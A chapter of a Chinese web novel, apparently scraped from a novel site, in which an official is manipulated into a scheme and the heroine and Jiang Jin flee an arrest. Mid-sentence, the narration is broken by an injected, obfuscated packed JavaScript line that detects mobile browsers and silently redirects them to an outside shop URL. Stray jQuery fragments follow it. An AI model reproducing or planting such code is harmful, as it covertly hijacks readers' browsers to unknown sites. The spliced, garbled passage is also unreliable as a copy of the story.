文趣网 > 都市小说 > 怎么与仇人HE了 > 34. 算计
    待君临阁之人走远,孙立城这才满脸堆笑着走近黄正。

    “黄大人!当真是多亏了黄大人,不然孙某真不知该如何是好。”

    “君临阁这几日是抽什么风,这也查那也查。”黄正不满道。

    “是啊,孙某不过与那杨家交情甚好,便被如此怀疑了。”

    “你也别废话,你说你手上有衍祛草,是真是假?”

    “衍祛草此种药材这几年可金贵得很,千金难求,孙某知令堂染病已久,正是需要此药之时,近日一商队呈上此药给在下,便准备给黄大人送去。”

    提及此,黄正神色有所缓和,轻叹口气道:“实不相瞒,药铺被查,母亲的病又断不了药,此事的确让本官焦头烂额。”

    孙立城点点头,屏退左右,走近一步压低嗓音道:“黄大人,在下这儿有个消息,想来是大人需要注意的。”

    “听闻,君临阁的少阁主江栖迟暗访渠州,那药铺……便是这位执意查封的。”

    “君临阁少阁主?”

    “不错,此处皆是自己人,在下便直言了。”孙立城边说着,边观察黄正神情。

    “此人初入官场,不懂这些道理,大人您进士出身,任兵使十余年,又是兢兢业业,纵没有功劳也有苦劳吧,近两年为母治病,这才……”

    孙立城摇摇头,叹了口气,语气惋惜道:“本可睁一只眼闭一只眼,人命面前,在下也不明白那少阁主大人怎能如此狠心。”

    “若他们再查下去,大人这乌纱帽与令堂的性命……可就得化作那江少阁主向上爬的垫脚石了。”

    闻此,黄正怒意又起,双拳握紧,眸中似乎闪过红光,近乎咬紧牙关道:“欺人太甚。”

    意料之中,孙立城忍住笑意,神色故作严肃地点点头,“是啊,黄大人,你我共事多年,孙某亦不忍心见大人如此处境,我这有一下策,应当能帮到大人。”

    “大人但说无妨……”

    商议不久,黄正沉着脸离去,孙立城坐于椅上,把玩着手中茶杯,笑着吩咐身边亲信:

    “想法子收买那黄老夫人身边的婢女,为此事添些柴火。”

    他深知这黄正是个怎样的人,将江谨的目光转移至这黄正身上再好不过。

    —

    出了宋兼住处,二人慢慢走回永安楼。一路上江谨沉默着,低着头不知在想什么,脸上浮现淡淡阴郁。

    孟笙瞥了眼他,心下暗暗不满,分明自己才该生气好吧?

    “你怎么不说话?”她试探道。

    “无事。”

    “你是在想如何同我解释?还是在想如何让师父放心?”

    “你知道了?”江谨看向她的目光越发复杂。

    孟笙不愿承认自己偷听,只撇撇嘴道:“你们谈话太大声了。”

    “江公子,我理解你们所言,只是……你我交易在先,我相信公子不是会违背承诺之人。”

    “孟姑娘,我答应替你寻亲,绝不食言,那二百两我也绝不会少一分一毫,自会派人送来,你就安心等着消息,如何?”

    孟笙垂下眼,低声纠正:“二百两银子加二十文钱。”

    江谨语气一顿,抿了抿唇道:“好,二百两加二十文钱。”

    闻此,孟笙未再多言,只是抬起头目视前方静静走着,穿过熙熙攘攘的长街,许久才开口:“我不能回去。”

    “可倘若宋老先生执意要回荼州,你又作何打算?”

    孟笙并未立即回答,亦难以回答。

    边说着,已近永安楼,折腾一日,近黄昏,今日永安楼歇业一日,小院内众人整整齐齐,同备着晚饭。

    “到了,”江谨语气莫名轻柔起来,“我食言在先,的确是我的不是,但孟姑娘定要好好考虑,宋老先生绝非杞人忧天。”

    他话落,乐秋在外候着,远远看着她来,不自觉嘴角扬起,“姑娘回来了。”

    孟笙见此,并未回答他所言,而是转过脸对乐秋说道:“怎么不进去?”

    “在等姑娘,司宁姑娘与付蓁姨都在厨房,外边也没什么我能帮忙的,这便出来迎姑娘了。”

    “姑娘您知道吗?付蓁姨还会制香囊,她赠了我一个,我想姑娘也会喜欢!她还悄悄帮我们将脏衣裳都洗过了,真是心好。”

    乐秋一高兴话便多了起来,见此,孟笙脸上挤出一抹笑容,拉住她的手,“进去吧。”

    劫后余生,众人眼里尽显的欣喜,阿棠此刻坐在桌前,一双眼睛直直盯着孟笙,冲她露出如花的笑颜。

    孟笙坐于她身旁,摸了摸她的脑袋,不自觉轻轻一笑,心底是说不尽的庆幸。

    幸好还来得及。

    饭桌上,胡婶直给孟笙夹菜,边笑言:“姑娘好生厉害,将那万恶的杨少爷都对付了!”

    孟笙摇摇头,唇角一勾,“不只是我的功劳,乐秋帮忙联络众人,大家手中的证据更是帮了大忙。”

    “大家都厉害!”

    “那自然!小小杨家岂放眼中?”

    众人你一句我一句,好不热闹,似乎回归到一切发生之前。

    夜风徐徐,灯笼里的火光扑闪,忽明忽暗,气氛方才好了一些,便听院外传来一阵马蹄声,街上喧闹声渐渐消失。

    “不对。”江谨给夏离与赵永翊使去一眼神。

    三人同时起身,正欲出院查看,木门便被猛地踹开。

    “官府拿人,谁敢阻拦!”

    “拿什么人?”江谨打量眼前之人,目测几十人,当是有备而来。

    “你。”他指向孟笙。

    “还有——”手指顿了一瞬,最后指向江谨,“你。”

    “是白日的案子?莫非去孙立城府内收账本无果?”江谨问道。

    “自然。”

    “伤人一事情有可原,杨胜罪行却是板上钉钉,渎职受贿更是事关重大,无论哪条都不至于你们来此胡乱抓人。”

    “这可不是小爷我要管的。”

    司意此时站起身来,蹙紧眉头开口:“几位大人有话好说,此时现今不是已移交给君临阁吗?不如先去问问那位少都大人是何情况。”

    “少废话,快交出人来。”那些人显然不怕傅扬。

    孟笙在旁沉默,怕伤到永安楼中人,犹豫片刻还是站起身,决定随他们去。

    “司宁姑娘……”她转头想说什么,却发现司宁死死盯着自己,面容冷淡。

    “你……出去吧。”司宁直直打断道。

    不知为何,孟笙心头一紧,心中泛起一阵苦涩,嗓音也越来越弱:“我想求你一事……”

    未听孟笙说完,司宁再对着那些人道:“官爷,他们与我永安楼并无干系。”

    闻此,江谨转过头看向司宁,眸中闪过几分疑惑,又瞥向孟笙,她此刻亦言:

    “我跟你们去。”

    话落,孟笙低低舒出一口气,迟疑一瞬,终是转头对司宁低声说道:

    “只是……我想求你暂先替我照顾乐秋,可好?”

    司宁坐在木凳上,仰头看向她,眸光闪烁,夜色深暗,看不清是泪花还是什么。

    “……好。”

    “姑娘!不可以去,他们没安好心的!”乐秋拽住她的衣袖。

    “没事的,乐秋,我有法子的,”她挤出笑容,“你要乖乖在此等我,不可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17784420|209329||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    鲁莽行事。”

    “不行,不行,姑娘……”

    此刻来人已靠近准备拿人,江谨向赵永翊递去一眼神,随即上前两步拉起孟笙的手腕往旁跑去。

    二人一起飞过墙,身影迅速消失在暗巷之中。

    “快追啊!”那些人亦迅速反应过来。

    胡乱跑着,江谨也不知是何方向,只是一味向前,不知何时已走入死巷。

    身后声响渐渐逼近,他犹豫一瞬,此刻若飞身过墙,恐怕更会被看清行踪。

    思索之际,不远处一个木门张开,传来女人的声音。

    “这里!快来!”

    江谨望了望身后,还是拉着孟笙跨过门,踏入一处小院,院内几盏灯笼高挂,再远处有一破旧木屋。

    孟笙喘着粗气,如今已思绪尽乱,抬眼看着那女子,十分眼生,却看着并无恶意。

    “我方才还着急呢。”

    “你是何人?你知道什么吗?”孟笙忙问道。

    “我在衙门那儿与姑娘见过一面,姑娘应当不记得了,我也是不久前得知的消息,说是那君临阁之人去太守府搜过,还未有结果之时,黄兵使便闯入府内,送来一本账本,查过后并无古怪。”

    “听闻其后还将君临阁之人赶了出去,随后下命说要捉拿诬陷之人。”

    “渠州兵使黄正?”江谨嘟囔一句,眉间浮现淡淡愁思。

    此事牵扯到兵使,意料之外却也情理之中,可他在醉春楼已暴露身份,这些人当真还未知晓么?若知晓了还会如此行事放肆?还是说他们已经想好了应对之策?

    总隐隐有些不安,他下意识看向孟笙,她眸光黯淡,不知在想什么。

    “怎么了?”江谨问道。

    “我……在想对策。”

    话音刚落,此刻院外已传来人声:“仔细找找!一定不能放过他们!”

    “我们走吧。”孟笙听着院外搜查之人,仿佛心口被什么堵住。

    “去何处?”

    “何处都好,别留在这儿,万一……”说着,她看向那女子。

    江谨亦明白她的顾虑,无声地叹了口气,环顾四周,陷入沉思。

    外面声响渐渐小了,他终于开口:“事已至此,你可愿赌一把?”

    “……”

    二人很快离开,女子缓缓转身,一个人影在黑暗中走出。

    “公子,恕属下多嘴,您到底为何要帮江谨?”

    林木并未回应她,只是看着孟笙的身影沉默。

    —

    太守府外,二人在屋顶悄悄观察其中,护院侍卫都未增加,应当不曾猜想到他们会来此。

    “我们怎么做?”孟笙低声问道。

    “要想澄清这一切,就得找到那份真账本。”

    “白日那一番,他们一定会对君临阁有所防备,我们再想进去找傅扬他们怕是难上加难,所以唯有我们亲自来此,或有机会取得证据。”

    她静静听着,缓缓瞥向江谨,神色复杂。

    “怕吗?”他轻声问。

    “我可以的。”孟笙只答了此句。

    江谨也未多言,“我去引开他们。”

    “我轻功好,我去吧,”她垂下眸子,“你若被抓了,就难有法子了。”

    她缓缓起身,正想有所动作,又忽地被叫住。

    “孟笙,不论发生什么,保护好自己。”

    倏然唤她名姓,孟笙偏头与他相视,见到微弱炬光下他眸间浮现的淡淡柔情。

    她心头莫名一颤,心中不知何时结下的冰层似乎在此刻融尽,她下意识微启朱唇,欲谢过他,却是欲言又止。

    —